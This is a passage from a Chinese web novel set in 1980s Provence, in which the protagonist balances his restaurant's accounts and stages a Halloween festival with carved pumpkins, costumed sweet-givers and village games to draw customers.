一旦有新锐艺术家出现在大众视野中,如果有权威机构肯给‘有可能是下一个佐伊’的评价,那么他的作品将立即溢价300%。 而作为锚点本锚的佐伊女士,在阿普特最新艺术展会上的作品售价已经来到了3万-8万法郎这个区间。 那只新做出来的画眉售价在二级市场被炒到了15万法郎的价格,但它未来流通到市面后的价格绝不会止于此。 歌迪亚靠几个月前囤的那一批器具也狠狠发了一笔财。 那些她400-600法郎收购来的杯子和盘子,全部标价到了3000法郎以上。 这升值速度比房子还要夸张! 不过那20多件器具在艺术家涌入卢尔马兰后很快销售一空。 歌迪亚没钱炒佐伊的艺术作品,天天劝佐伊再做点器具。 佐伊拒绝,她就来磨罗南,每天都要来餐厅好几次。 “佐伊今天答应了吗?”歌迪亚点了一瓶粉红酒,以示友好。 她看了那本杂志,知道罗南对粉红酒的痴迷程度。 罗南摇头: “做盘子和碟子不赚钱啊,一个才几千,但是艺术品一个都能卖好几万了。” 歌迪亚焦急的解释: “谁说几千?咱们也卖几万,那不是轻而易举?” 罗南哑然失笑: “盘子和杯子卖那么贵有点不合适吧?” “谁说不合适!”歌迪亚用不容质疑的语气说,“佐伊现在已经成为了一种普罗旺斯的文化符号输出,她做的东西卖多少钱都合适!” 艺术是无价的!! 罗南耸肩: “你下次见她再自己试试吧,我说很多次了。” 歌迪亚气愤的把粉红酒一口闷了。 佐伊那么疼罗南,罗南去劝都不管用她去说就更不可能成功了。 歌迪亚突然看向面前的杯子和盘子,想到了一个新的思路: “罗南,要不你卖我几个你的杯子和盘子吧?” 罗南连连摇头: “不行,那可不行!给你了我用什么?” 这些都是佐伊‘加班加点’给我做的,出多少钱都不会卖的。 “给我几套不影响你做生意。”歌迪亚眉飞色舞的说,“有一个那么能赚钱的女朋友压力很大吧?能赚一点是一点.男人没有钱,在家里没有话语权的!” 罗南开心的说: “能吃佐伊的‘软饭’何尝不是一种幸福呢?” 吃软饭只是玩笑话。 罗南还是很在意收入的。 卢尔马兰的房价涨的太厉害。 激活条款里规定的是按照市价百分比购买,尽早把这件事完成,他才能安心。 临近月底,罗南和父母对了一次账。 “开业后卖得怎样?” 餐厅只在开业前几天排过长队,后来就没有这种情况发生了。 虽然‘试营业’结束后菜品恢复了原价,但罗南对收入情况还是没有底。 ‘财务’冯珍拿着计算器说: “我和你爸爸早就想和你对一次账了,不是卖的不好啊,儿子你别害怕!” 罗天海对罗南说: “我们想让你尽快把贷款还了。” 冯珍看着账单说: “开业18天,总营业额是406781法郎,扣掉成本和各种税费后应该有7万多,还有几天到月底,足够做下个月的运营成本,我和你爸爸商量,你把这7万多拿走去还房贷吧。” 餐厅有140个餐位,稳定下来后,每天的翻台率是2,点菜的客人客单价是110法郎,点套餐的客人人均35法郎,但总体还是点菜的人多,平均下来是80法郎上下。(DS给的数据) 不过开餐厅后难免要和税费打交道。 在1986年用现金做交易时,政府很难监管到税费的问题,但现在这个问题是绕不过去了。 而法国又是一个‘重’税的国家,每个月要缴纳的税费非常多。 第一个要交的税是增值税: 堂食服务:7% 酒水销售:17.6% 第二个要交的是企业所得税: 月利润≤38.12万法郎:42% 月利润>38.12万法郎:50% 新创企业前2年利润<20万法郎可减半征收,但罗南的餐厅已经超过了这个范围。 第三个要缴纳的是职业税: 这部分是按照房屋租赁价和地方税率缴纳的,普罗旺斯的地方税率是2.1%,这部分罗南已经在之前缴纳给卢尔马兰政府了。 第四个要缴纳的是社会分摊金,即‘员工保险’,费率为员工税前工资的40%。 其他的税费还有: 营业税:约 150法郎/月 垃圾处理税:约 50法郎/月 如果餐厅是自有房产,还要缴纳100法郎/月的市政设施费。 综合下来,这些税费会占营业额的17.6%左右。 “这么多?”18天40万的营业额比罗南预计中的收入多多了。 他以为很难保持住日均2万法郎,没想到还超了。 罗天海笑着叹了一口气: “忘了自己做的事了?还不是你和佐伊吸引来的那帮人把营业额带上去了。” 如果没有那帮艺术家,可能真没办法维持2万法郎的日营业额,但那些艺术家一聊起来酒下的非常快,给餐厅做了不少贡献。 冯珍把话题再次拉回到正轨: “你的贷款还剩下7万对不对?赶紧都去还了,利率太高了,你现在还的都是利息!” 罗南的住房贷款利率是10%,这在当下的法国输于中等数字,最高的人可能会达到12%。 罗南犹豫了一下: “我确实需要钱,不过不是现在用,也不是还房贷用妈,月底算完帐你和爸爸拿走2万,剩下的全部帮我存起来。” 冯珍皱着眉头问: “不还房贷你要干什么?” 罗南把租赁合同里还有‘回购’条款这件事第一次和父母讲了出来。 其实罗南结婚需要房子这件事,冯珍和罗天海在私下讨论好几次了。 罗南和佐伊的感情太好了,结婚几乎‘迫在眉睫’。 他们现在在普罗旺斯活的滋润也舒服,回巴黎的概率很小很小。 未来肯定是儿子在哪儿,他们在哪儿。 他们想的是把巴黎的小公寓卖了,在卢尔马兰买房子。 没想到罗南已经把房子的事儿解决了。 “那确实得先存买房子的钱”冯珍马上改了口。 和路易见面的次数多了,他们也知道卢尔马兰的房价现在越来越贵。 房价涨的速度绝对比房贷的利率高。 罗天海严肃的对冯珍说: “月底帐上有多少钱,都送去银行存起来,咱们和罗南一起存。” 罗南连连摆手: “不不不,你们拿2万出来过日子用。” 冯珍瞪罗南: “2万过日子?巴黎都用不了2万,一边去!” 他们天天在餐厅吃饭,哪里还有什么花钱的地方? 你小子飘了?! 罗南嬉皮笑脸的说: “妈妈,实不相瞒,其实你儿子我一个人就可以赚出买房子的钱,只不过想要早一点而已,2万是给你们的零花钱,等把房子买下来,我绝对要让你体会一下做‘富婆’的感觉,不过在这之前你们要先委屈一下了。” “你一个人赚?”罗天海气不打一出来,“罗南,我也实话实说,餐厅没有我和你妈转不起来知道吗?” 罗南用嘴指墙上的日历: “餐厅是离不开你和妈妈但我还有其他赚钱的本事呢。” 11月还有一周就要到来。 属于罗南的‘收获季节’要真正开始了! 11月份,罗南必定要拿出大量时间进山,所以在10月底,他在餐厅上投入的精力非常大。 首先是阿斯特丽德的问题。 餐厅现在已经有了浓郁的粉红酒氛围,不过这位女士却忙的抽不开身,要推迟来餐厅的时间。 这就引出了第二个问题。 阿斯特丽德不来,那些大人物就不来,罗南需要想一些其他可以吸引来顾客的手段。 他不能只靠艺术家们撑营业额,普罗旺斯的那几十万常驻人口才是他最大的盘子。 不过现在他正在努力存钱,肯定没有预算继续发传单了。 那么如何用最小的成本吸引来最多的人呢? 某一天晚上,罗南听到了一位明显喝多了酒的顾客的激情发言。 “这是一片产生过伏尔泰、拉辛和莫里哀的土地,但我们现在却被美国人踩在脚底,我们把一切都给了他们,那些美国佬给过我们什么吗?!” 罗南摸着下巴陷入沉思。 第230章 没有机会就创造机会! 伏尔泰是18世纪法国启蒙思想家、文学家和哲学家。 拉辛是17世纪法国伟大剧作家。 莫里哀是17世纪法国喜剧作家、演员和戏剧活动家。 把这三位伟大的法国文化界‘泰斗’搬出来和美国放到一起谈论.罗南猜这位客人一定是不满80年代美国向欧洲的‘文化输入’。 这种文化影响起初是从法国人最在意的饮食文化开始的。 麦当劳1971年首先进入荷兰,1980年代加速扩张,1983年巴黎香榭丽舍大街开设旗舰店,被视为‘美国生活方式地标’。 肯德基在1965年就进入英国了,不过80年代才在德国和法国扩张起来,以‘炸鸡家庭桶’冲击欧洲家庭聚餐传统。 这种美式快餐被晚餐习惯在餐桌上坐3-4个小时的普罗旺斯人视为‘文化的倒退’。 不止是法国,欧洲其他各国对快餐的抵触情绪也始终存在。 巴蒂前几天跟罗南喝酒聊天时说,意大利刚刚结束了一场‘慢食运动’,对抗快餐文化,强调本土饮食传统。 当然了,这种‘文化输入’不止在饮食一个领域发生,还涵盖了体育、音乐和影视等方方面面。 抛开政治立场不谈,它们有些的确对本土文化带来了冲击,但也不全部都是对撞,在某些领域又被欧洲人很快接纳了。 比如从美国传来的迪斯科音乐席卷了欧洲各国,成为了各国国民最喜欢的音乐类型;又比如从好莱坞传来的《星球大战》和《夺宝奇兵》等系列电影,它们极大的丰富了欧洲人的闲暇生活。 不过由于在饮食这个最重要的领域始终存在批判与抵制,在八十年代的欧洲,总是能听到有人激进发表‘文化入侵’言论。 不过超过80%以上的年轻人对此还是很开放的。 罗南认真听了一会,发现这位老兄看不惯的东西的确和饮食文化有关.只不过是一个罗南没有想到的方向。 “阿普特、艾克斯、卡瓦隆和圣雷米随处可见‘变异’南瓜,很快这种习俗就会像那只会说话的老鼠一样被法国人家喻户晓.这是一件多么恐怖的事情!” 说到激动之处,这位看起来有五十岁的老先生不停用拳头敲击桌子。 由于制造出了不小的动静,而且他‘高谈阔论’的声音实在太大,不免引得其他桌客人的不满。 “连米老鼠的名字都不知道,就不要谈‘文化输出’了好吗伙计?那不是你该操心的事情,不如关心一下自己的袖子?它已经掉进汤汁里了。”隔了两桌的一位男顾客不满的抗议。 那位老先生似乎暂时性耳聋了,用更加亢奋的语气和同桌人说: “还有番茄酱!这种添加了大量添加剂的垃圾酱料渐渐代替了蘑菇酱在普罗旺斯餐桌上的地位,这是一件多么可耻的事情!!” 这人口中的番茄酱是大名鼎鼎的亨氏番茄酱。 这家1876年在美国建立的番茄酱品牌随着80年代的美式快餐文化一起抵达了欧洲。 不过据罗南所知,这东西还没有在普罗旺斯普及。 他把视线从那个方向挪开,暗自腹诽: 这是一位不太专业的‘专家’啊。 普罗旺斯遍地专家,知道一点点就可以像大学教授一样大肆发表言论,尤其在酒后,这并不稀奇。 只不过那位老先生应该猜不到,几年后他口中会说话的老鼠将在巴黎建起一座庞大的主题公园,届时全欧洲的年轻人都将蜂拥而至。 所以文化这个东西.要多面看待,切勿过于偏激。 伊莎贝尔好奇的问: “他说的‘变异’的南瓜是什么呢?” 另外一个服务员想了一下: “可能是由某种由南瓜做的快餐?我也不知道” 罗南吃惊的问她们: “你们不知道‘万圣节’?” 伊莎贝尔&服务员们:“万圣节是什么?” 罗南前一世对文化的研究不深,当然了这一世也不深。 他只记得万圣节确实是外来节日,不过在上一世已经被绝大部分法国人所接受了。 十月三十日的万圣节和十一月一日的诸圣节合并,形成了‘万圣周末’。 但是哪个时期被接受的他记不清了。 没有互联网,卢尔马兰附近也没有可以查阅资料的地方,罗南只能通过向旁人打探消息,判断万圣节在如今的普罗旺斯人眼中是个什么东西。 “南瓜灯?”来喝酒的康奈尔眼睛瞪得大大的,“那也是一种中式传统手艺吗?用浸泡后的南瓜做成灯的样子?不过听起来这没有什么难度啊也许我也可以传承它?” 在康奈尔这里没有得到什么有用的信息,罗南又去问了有孩子的特奥。 也许安娜听过‘不给糖就捣蛋’这个游戏? “孩子可以免费吃糖?”特奥激动的把烟扔了,“快告诉我在哪里可以报名参加这种好事,安娜每个月要吃掉几公斤的阿普特蜜饯,那比我一个月的烟钱贵!” 好吧,罗南很快得到一个结论。 在卢尔马兰附近没有人听过万圣节这个节日,不过他记得那位客人说‘阿普特、艾克斯、卡瓦隆和圣雷米随处可见‘变异’南瓜’,于是又问了餐厅里来自普罗旺斯各地的艺术家们。 “艾克斯的米拉波大道上已经可以看到万圣节橱窗了,那里有许多人过万圣节。” “有啊,圣雷米有人过万圣节,那天我们还会组织万圣节聚会呢,是恐怖主题的!这已经是第三年了!” “卡瓦隆不止有人用南瓜做装饰,还有人用甜瓜做装饰呢.这是我们的坚持!” 和消息灵通、思想先进的艺术家们交流过后,罗南终于对万圣节有所了解。 万圣节在1986年已经传回欧洲。 为什么说‘传回’呢? 因为有真正的文化专家给罗南科普,万圣节是公元前5世纪,由爱尔兰的凯尔特人发明的。 19世纪爱尔兰移民把它带到了美国,20世纪这个节日又从美国传回了欧洲。 回传的媒介也很有趣——1980年法国少儿频道开始播放迪士尼出品的动画片,万圣节的概念首次回归欧洲。 之后又通过《.》等少儿电影,和可口可乐等快消品牌主题创意广告在欧洲电视台的播出将此概念加固。 因此万圣节只在一些电视普及率高的大城市内流行,吕贝隆等小山村并不在其中。 为了得到更多,更全的消息。 罗南又联系了阿普特的糖果大王加布里埃尔。 万圣节和糖果息息相关,加布里埃尔应该能给罗南提供更为直观的帮助。 “我当然知道万圣节了!那是我们每年中非常重要的节点,前两年通过围绕对万圣节的宣传,我们的营业额分别提升了15%和20%;据我所知,即使不是糖果品类,只要能和万圣节结合上也都会有巨额的数据提升。” 罗南惊喜的问: “也就是说,吕贝隆有许多品牌会围绕万圣节做宣传?” 加布里埃尔斩钉截铁的说: “不,吕贝隆的居民不过这个节日,都是其他地区的。” 罗南想了一下。 没有机会就创造机会。 对于爱凑热闹的普罗旺斯人来说,只要有热闹可凑,他们一定会来的。 先拿万圣节试试手,如果进行的顺利,未来罗南的餐厅一年都不会缺宣传手段了。 中国的节日比美国多得多,他以后可以大胆的搞‘中式文化入侵’! 罗南看着街对面、加布里埃的糖果商店问: “你在卢尔马兰的那个商店卖得怎么样?” 十几分钟后,罗南挂掉餐厅里的电话,笑容满面的返回后厨。 弗拉基妮问: “今天的菜还是正常切吗?有什么需要注意的地方吗?” 罗南拿起他的御用菜刀,舞了一个漂亮的刀花: “今天我教你们点新东西!” 餐厅开业后,罗天海和冯珍便不再参加每周的卢尔马兰集市和梅纳村集市了。 罗南会带着餐厅里的其他员工去。 就像罗天海说的,餐厅没有了罗南可能只是少了一批顾客,但少了罗天海和冯珍就彻底转不动了。 不过这也是罗南想要看到的局面——一点点减少餐厅对他的依赖程度,这样可以有更多的精力去干别的事情。 集市是餐厅日常最重要的宣传手段,不要小看每周的这两个上午,可以直接转化不少顾客,有不少人都是吃过锅包肉和盒饭后去餐厅光顾的。 不过在10月最后一个周末的集市上,罗南又改变了‘宣传语’。 左邻右舍的摊主已经习惯这个生意越做越大的家伙每过一两个月就要换一次吆喝内容了。 先是卖普罗旺斯‘特色’粉红酒。 后来宣传中餐厅。 现在餐厅刚刚开业没多久,又要宣传什么新东西了呢? “10月30号,我们的餐厅将举行万圣节派对,从早到晚都会有好玩的娱乐项目,无论你是大人还是孩子都能找到属于自己的乐趣,晚上还会有主题篝火晚会,快带着你们的孩子来参加吧!” 罗南对面那个烟瘾极大的女摊主顾不上自己的摊位,过来问罗南: “万圣节是什么节日?” 罗南一边炸锅包肉,一边耐心的解释: “那是一个在艾克斯、阿普特甚至巴黎都非常受年轻人欢迎的新兴节日,特别好玩,你来吗?我提前给你留位置?” 那女店主神情一喜。 艾克斯和阿普特是普罗旺斯的时尚门户,巴黎更是国际时尚之都。 在这些城市流行的节日一定是极其洋气的。 而且住这附近的居民都知道,罗南的餐厅里总是有穿着时尚好看的年轻男女出没。 还有人在私下开玩笑的说: 法国时尚看巴黎、普罗旺斯时尚看艾克斯,但在吕贝隆,他们也有自己的‘时尚之都’——那便是近期吸引了无数艺术家到访的卢尔马兰。 而卢尔马兰里最时尚的地方就是罗南的中餐厅了! “好啊,帮我留4个位置。”那女摊主痛快的答应下来。 “好嘞,一定给你留最好的位置。”罗南笑着说。 女摊主离开后,来帮忙的伊莎贝尔小声嘟囔: “10月30号一定又要排长队了,你又‘忽悠’来一个人,今天答应给多少人留位置了?三十个和还是四十个?不用自然客流,我们的座位都要满了” “忽悠?”罗南露出了一副‘你不懂’的样子,“下午回去我就带人开始准备,我警告你啊,到了那天别因为玩心太大而矿工。” 第231章 专业的事必须找专业的人 集市结束,罗南顾不上吃午饭,赶回餐厅去找罗天海和莉亚: “和南瓜相关的菜品有想法了吗?” 节日主打一个氛围。 不止是环境的氛围,作为餐厅当然离不开吃饭的氛围。 两天前,罗南把要围绕万圣节举行一个节点活动的想法告知了主厨罗天海和甜品师莉亚,让他们分别在各自的领域设计一些主题菜品。 听说过万圣节的罗天海没问为什么、不知道万圣节的莉亚也没问什么是万圣节,他们根据罗南的需求马上开始行动。 见识过罗南的宣传能力后,无须多言,直接干就可以。 在宣传这方面,罗南绝对是专业的。 现在两天过去了,进展如何呢? 罗天海喝了一口水,语气淡淡的说: “4道凉菜,6道热菜,1份主食和1道汤品,下午我做出来给你试试菜。” 莉亚在围裙上擦了擦手: “时间太短,我只按照你的要求研究出了4种甜品,不知道够不够?” 罗南衷心的对他们竖起一个大拇指: “够够够,绝对够了,和专业的人一起工作真让人放心。” 有这么坚实的后盾我就敢放开‘折腾’了! 罗南对菜品完全放心。 接下来要弄的就是主题装扮和节日游戏了。 为了节省时间,罗南拿着他的工作餐坐到餐厅的一个角落里,一边吃饭一边跟他的‘刀工小队’部分成员讲接下来要做的事。 马里尼见罗南对着一个大南瓜比比划划,好奇的凑过来。 佐伊不是每天都来餐厅,但是搬来卢尔马兰的马里尼几乎每天都要来餐厅坐一会,听天南海北来的艺术家们交流心得。 “你要干什么?”马里尼看着南瓜问。 罗南问一个名叫玛尔戈的服务员: “马里尼今天又点酒了?不是戒了吗?” 这位艺术家喝酒之后完全变了一个人,会非常亢奋,别管认识不认识的都能坐下聊好一会,像是‘绿色版本’的巴蒂。 不过昨天马里尼告诉罗南,搬来卢尔马兰后喝了太多酒,担心身体吃不消,打算戒几天。 我那患有‘失语症’的马里尼去哪里了? 服务员们早就和这个每天都来的客人混熟了,玛尔戈笑着说: “早上有一桌客人聊‘灵魂阶梯论’的话题,马里尼没忍住,点了酒和他们一起讨论。” 罗南心想,原来你也知道自己是什么人啊? 不过他表情复杂的问马里尼: “这个话题你也要参与进去?” 马里尼不以为然的说: “当然了,古典哲学是我最感兴趣的东西。” 罗南让玛尔戈去倒一杯百里香茶给马里尼: “这杯我请你。” 罗南记得昨天马里尼说他最感兴趣的东西是《愚人颂》,前天最感兴趣的是‘人的尊严与价值’。 快醒醒酒吧,伙计。 普罗旺斯人嗜香料如命,百里香不仅可以用于烹饪,还可以泡茶喝,用来醒酒。 热水里放一些百里香,一点点糖,如果觉得涩口可以挤一些柠檬。 马里尼充满好奇的问: “你到底在干什么?为什么要把这些南瓜挖成这个样子?” 罗南还没有做完,所以这个南瓜现在看起来挺‘抽象’的。 他给马里尼解释: “我在做万圣节饰品,要把南瓜雕刻成各种‘恶魔’的样子。” 马里尼顿时来了兴趣: “可以让我试试吗?” 罗南一愣: “你听说过万圣节?” 不等罗南回复是否可以,马里尼直接拿起桌子上的刀开始了创作: “这是我最感兴趣的事,你忘了吗?” 罗南先是皱起了眉,几秒钟后忽然他对着玛尔戈大喊: “不用准备百里香茶了,再给马里尼倒一杯粉红酒!” 怎么把这么重要的事情忘了? 马里尼是做雕塑的大师啊! 马里尼顶替了罗南,承担起雕刻南瓜的工作。 罗南相信那确实是他最感兴趣的事,于是放心的让他去干了。 之后他开始组织服务员们做餐厅的万圣节布置。 这是一件很繁复的事情,由于服务员们根本不知道万圣节是什么样子的,需要罗南说一句她们才能做一步,一个没留神就会干的‘面目全非’。 “玛尔戈,把红色的纱帘换掉,换成白色的,我要的是蜘蛛网效果,不是新婚现场。” “额那是谁拿来的粉色洋娃娃?那不是我想要的玩具.” “伊莎贝尔,我的意思是调一个射灯打到‘惊悚角’,不是把餐厅的灯光弄成歌舞厅的样子。” 罗南苦闷的拍了一下脑门: “算了算了,你们回去工作吧,我一个人布置。” 罗南遇到了继教普罗旺斯人切菜后的另一道难题——教卢尔马人布置万圣节装饰。 “别别别,你一个人要忙到什么时候啊?”巴蒂举着酒杯来到餐厅门口。 罗南突然眼前一亮,问他: “你知道万圣节吗?” 巴蒂露出了自信的笑容: “去年我在圣雷米参加了有300多人参加的万圣节化妆舞会,我本人还亲自参与了会场的布置。” 罗南兴奋的对他招手: “那你来帮我,咱俩干。” 巴蒂平坦双手: “只有我们两个要布置好久,你不是还要去商业街上布置一些元素吗?那需要很多人,很多很多的人。·” 他突然笑着对玛尔戈等几个服务员说: “几位女士留下和我们一起布置吧,人多好干事。” 接下来的一个小时里。 “亲爱的伊莎贝尔,我发誓你是我见过最棒的灯光师,不如你再换一个风格,不要那么明亮的?” “玛尔戈,不要沮丧,你已经做的很棒了,不过是搞浑了颜色而已,没关系的,我陪你重新布置。” “快瞧瞧,这是哪位漂亮宝贝拿来的鲜花?它们太美丽了!” 罗南强忍着胃部不适,指了指餐厅: “巴蒂,那这里交给你了了,谢谢。” 巴蒂像绅士一样前倾身体: “罗南,请相信我,在这方面我是专业的。” 装饰部分罗南找到了非常专业的帮手,现在只剩下最后一个环节需要准备了。 自从罗南的餐厅开业后,这里就是农夫们的新聚集地。 他来到农夫们所在的桌子: “皮埃尔,帮我找几个伙计来,我需要你们帮我做件事。” 皮埃尔听说了罗南要弄什么万圣节活动,以为要继续去发传单,叼着烟说: “还找之前那20几个吧?他们有经验了,发的快。” 那几个都是他和罗南一起选出来的外形还不错、比较有亲和力的人,发起传单来不容易被拒绝。 罗南摇头: “不不不,这次全部要‘落选’的人,越没亲和力越好,还有亨利必须来。” 专业的事必须交给专业的人! 罗南对面的那个摊主叫乌尔班娜,是一位两个孩子的母亲,和丈夫厄尔班靠在梅纳村集市上卖手工果酱为生。 他们居住在距离卢尔马兰15分钟车程的安苏伊村,一个只有400多人的小村庄。 虽然安苏伊距离卢尔马兰只有15分钟车程,但这是乌尔班娜一家第二次来卢尔马兰。 大部分吕贝隆山区居民的一生都是围绕自己出生村子几十公里展开。 生活在安苏伊,去梅纳村摆摊.一年去一两次阿普特或者艾克斯,这辈子从未离开过普罗旺斯这片土地。 不过近期乌尔班娜一家来卢尔马兰的次数算多的了。 一个多月前,四口人一起来参加了许愿盛典。 10月30号又一起来参加万圣节活动。 “妈妈,万圣节有马戏团和游乐场吗?”乌尔班娜的小女儿问。 乌尔班娜想了一下: “我猜可能没有,因为我们这次去的是一家餐厅,那里没有地方装下一个马戏团。” 乌尔班娜的儿子生气的哼了一声: “那为什么要来?我更想在家里玩‘九柱戏’,而且我晕车了,爸爸开的我想吐!” 厄尔班嘲笑自己的儿子: “你坐车的机会太少了,我像你那么大的时候都可以自己坐车去阿普特买衣服了。” 小女儿气鼓鼓的说: “可你现在也没有时间带我们去阿普特啊,今年我的衣服都是在集市上买的!” 阿普特是世界蜜饯之都,这个小城镇在孩子们心中的地位神圣的不成样子。 普罗旺斯的孩子有可能不想去巴黎,但他们一定想去阿普特。 乌尔班娜在女儿的脑袋上亲了一下: “但最近我们经常带你们出来玩不是吗?” “可这里不是阿普特!”小女儿不满的嘟囔。 “我想回家,这里没有一点意思!”大儿子叫的更大声。 乌尔班娜和厄尔班为难的互看了一眼。 要不然回去? 正在他们犹豫之际,突然从街道的一侧飘来一个穿着吸血鬼披风、嘴上露出两颗恐怖獠牙的家伙。 乌尔班娜的两个孩子马上躲到父母的身后。 那吸血鬼用阴森的语气说: “我的尖牙正在寻找最甜的‘血袋’!让我来闻一闻你们的血液是否足够香甜!” 他用力吸了几下鼻子,乌尔班娜的小女儿马上发出尖利的叫声。 “在你们身上我没有闻到任何香甜的气息!我要去找下一个猎物了!”说罢,那吸血鬼抖了一下斗篷,快速离开。 乌尔班娜的儿子兴奋的从地上捡起两块糖: “吸血鬼抖斗篷的时候留下的,是糖!” 他的妹妹兴奋的凑过去: “哇,是糖,真的是糖诶!!” 十几米外。 亨利嘿嘿干笑了两声: “我太适合做这件事了!看看这些孩子有多喜欢我?罗南先生真是‘慧眼识珠’啊。” 在乌尔班娜一家去餐厅的路上,又遇到了故意掉下‘眼球’、让孩子发现那是糖的僵尸。 还遇到了拿着魔杖,轻点孩子额头大喊‘我将赐予你一整年不怕黑的勇气!’的奇怪巫师。 两个孩子再也不提离开和无聊的事,玩起了‘谁能找到更多糖’的游戏。 而这一路上,像乌尔班娜一样的家庭还有许许多多。 他们似乎忘记了此行的目的,在抵达餐厅之前就玩的不亦乐乎了。 然而当乌尔班娜一家好不容易穿过‘群魔乱舞’的商业街,抵达餐厅门口时,发现门口有许许多多等位置的人。 乌尔班娜看向两个孩子: “先去吃饭吧,罗南叔叔给我们留了位置。” 两个孩子和一群孩子站到一起,开心的嚷嚷: “不走,这里太有趣了,你看,这里有好多南瓜做的灯啊!我不想吃饭了,我想一直在这里玩!” 从餐厅里走出一对年轻夫妇,以为乌尔班娜一家遇到了等位问题,善意的提醒: “整条街上有29个南瓜灯,全部找齐可以去餐厅换免费饮品,拿个号就带孩子去找灯吧,可以找好久呢,而且这附近还有好多小游戏,回来就差不多到你们了。” 乌尔班娜和厄尔班表情互看了一眼,同时看到了对方眼睛里的震惊。 这里是吕贝隆吗. 艾克斯也不过如此了吧? 不.艾克斯也没见过这么有意思的活动吧? “乌尔班娜!”老板罗南挤出人群,小声说,“快进去吧,我给你们留位置了。” 乌尔班娜看了看孩子们,表情复杂的对罗南说: “先把我的位置让给别人吧孩子们可能想在外面先玩一会。” 罗南露出了一副‘我就知道会是这样’的表情,他跑回餐厅,拿了几个面包给乌尔班娜: “把这个给孩子们,告诉他们餐厅里更好玩,放心吧,一定管用,我用这招对付十几个小孩了。” 乌尔班娜长长的叹了一口气: “罗南,看你赚钱我再也不羡慕了。” 无法走出吕贝隆又怎样? 吕贝隆也有属于自己的‘艾克斯’和‘阿普特’了。 卢尔马兰是乌尔班娜见过最酷的地方,没有之一! 把乌尔班娜一家安排妥当,罗南抽空去收银台问母亲冯珍。 “上午卖的怎么样?” 人力优化后餐厅的人效提升了许多,翻台率比开业当天高了不少,但现在外面等位的人比开业那天人还多。 这次万圣节主题策划的效果怎么样啊? 冯珍用力咬住嘴唇,生怕笑的太大声吓到旁边那几个正在参观‘恐怖角’的客人。 “已经2万了,今天有可能要奔着5去了,儿子.你下一个节日打算策划哪个?” 第232章 需要老板亲自接待的顾客 糖果和奇异装备的人是用来吸引孩子们的,但万圣节不仅仅是属于孩子们的节日,罗南还为‘大孩子’们准备了‘礼物’。 而帮助他一起营造氛围的,也不只是餐厅里的二十几个员工和朋友们.在卢尔马兰知道万圣节的人不是只有他一个。 歌迪亚知道罗南的餐厅要进行万圣节主题活动后,马上也进行了布置,最近她正在遗憾因为要看店而无法回艾克斯参加万圣节派对呢。 考虑到来餐厅吃饭的有许多带孩子的家庭,罗南在策划时大大弱化了恐怖程度,向着可爱和有趣的方向靠拢。 而歌迪亚完全没考虑这些,个性的朋克女将她的艺术品商店布置成了一个‘恐怖屋’。 首次看到这种风格的吕贝隆居民被这家店深深吸引,只要路过就会忍不住好奇看看里面卖的是什么,一时间流量激增。 除此之外,歌迪亚还负责了一个万圣节小游戏的‘裁判’工作。 艺术品商店的门前有一张巨大的桌子,桌子上有一个直径60厘米左右的大盆,里面放有3/4的清水,水面上浮有8颗苹果。 穿着女巫装的歌迪亚兴致勃勃的给‘选手’们介绍规则: “‘咬苹果游戏’每四人一组,谁第一个把苹果咬到我面前的盘子里谁便是获胜者,请注意全程必须双手背后,来吧小伙子们,拿出你们的激情!向你们的女朋友或妻子证明,谁是普罗旺斯最棒的男人!” 这类没有任何难度但又能彰显‘男性魅力’的幼稚游戏,似乎就是为天生爱争强好胜的普罗旺斯男人准备的。 他们有的为了快速获胜把一整个脑袋扎入盆中,只为了把苹果抵到盆底方便咬住,胜利的代价是自己像‘出水芙蓉’一样湿漉漉。 还有的为了争一颗苹果‘打’的不可开交,用头做武器无法‘击毙’敌人后,马上拿出了威力更加巨大的武器——牙齿。 一个小小的盆里打的像古罗马斗兽场一样激烈。 看着这些人‘激烈’的搏斗,歌迪亚笑的前仰后合: “以后不用去艾克斯过特殊节日了,卢尔马兰也有很棒的节日氛围啊,这些人玩的比艾克斯人还要‘疯’!” 托马斯也对石器店进行了布置,不过是求助罗南后才完成的。 罗南布置完自己的餐厅后还剩下许多饰品,随手帮托马斯的店铺布置成了和餐厅同款的风格。 为了感谢罗南的帮助,托马斯在今天成了罗南的临时工。 罗南把他那里没地方放的小游戏挪到了托马斯这里,让他帮忙‘收银’。 不过这个游戏的‘裁判’不是托马斯,另有其人。 一个脑袋上戴着奇怪‘驴子’面具的男人面前有一排酒杯,每一个上面都插着一根比线团还要乱的长吸管。 “这个游戏很简单,就是比谁喝酒快,15法郎一次,很便宜不是吗?去酒馆买一杯酒差不多是同样的价格,你在酒馆喝酒老婆会说你是‘酒鬼’,但现在她们会替你呐喊助威并说‘亲爱的你是最棒的!’,有谁想玩吗?” 一个农夫打扮男人看了看那根吸管: “这一定很难吸上来。” ‘驴子’面具男拿起一个杯子,用吸管轻松吸上来一大口酒: “伙计,这很简单,如果这都喝不上来,我劝你该去看医生了。” 普罗旺斯男人是不能‘激’的,你说他不行,他必须证明给你看‘我行的不得了’。 ‘驴子’面具男几句话下来就把这轮游戏的选手凑齐了。 比赛开始后,选手们一个个面红耳赤,一边努力喝酒一边跟妻子或者女朋友‘解释’: 这该死的游戏太难了,所以我喝得慢,不过亲爱的你不要担心,我已经渐渐掌握了要领,胜利一定会属于我的。 在全场助威声中,‘驴子’面具男像是拿着鞭子的真正恶魔一样,一边喝酒一边大声的叫喊: “喝呀,快点喝,你旁边的人已经喝下去半杯了,你怎么还有这么多?大口的喝啊伙计,没有时间了!!” 突然,一个小仙女打扮的女孩蹦蹦跳跳的跑来,拉了一下‘驴子’面具男的衣服: “爸爸!我又找到三颗糖!” ‘驴子’面具男放下酒杯,蹲下来摸着女儿的脑袋说: “不能吃太多哦安娜,你会长蛀牙的。” “爸爸,我喜欢万圣节!今天太好玩了!!”安娜大笑着跑开,“我去找罗南叔叔,我知道他口袋里还有糖!” 特奥笑着拿起酒杯,又猛喝了好几口: “我也喜欢万圣节。” 来自吕贝隆其他村子的居民都来卢尔马兰过节了,卢尔马兰本村村民更是全员加入了庆祝当中。 整个卢尔马兰全部沉浸入了这个不知名节日的欢快氛围里。 就像罗南之前猜测的那样,听说哪里有热闹看普罗旺斯人绝对不会缺席的。 当然了,罗南的万圣节策划也没有逃开政府的‘眼睛’。 希尔维不仅支持罗南举办活动,还给他拨了一点点预算,所以万圣节活动的范围从餐厅扩散到了整个商业街。 现在政府和罗南完全是‘一条绳子’上的蚂蚱,罗南做什么,政府就配合什么。 希尔维就是手里的预算不够多,否则她会支持罗南办的更大、更隆重一些,说不定整个卢尔马兰村都会装扮成一个大南瓜。 不过现在没钱,不代表以后没钱。 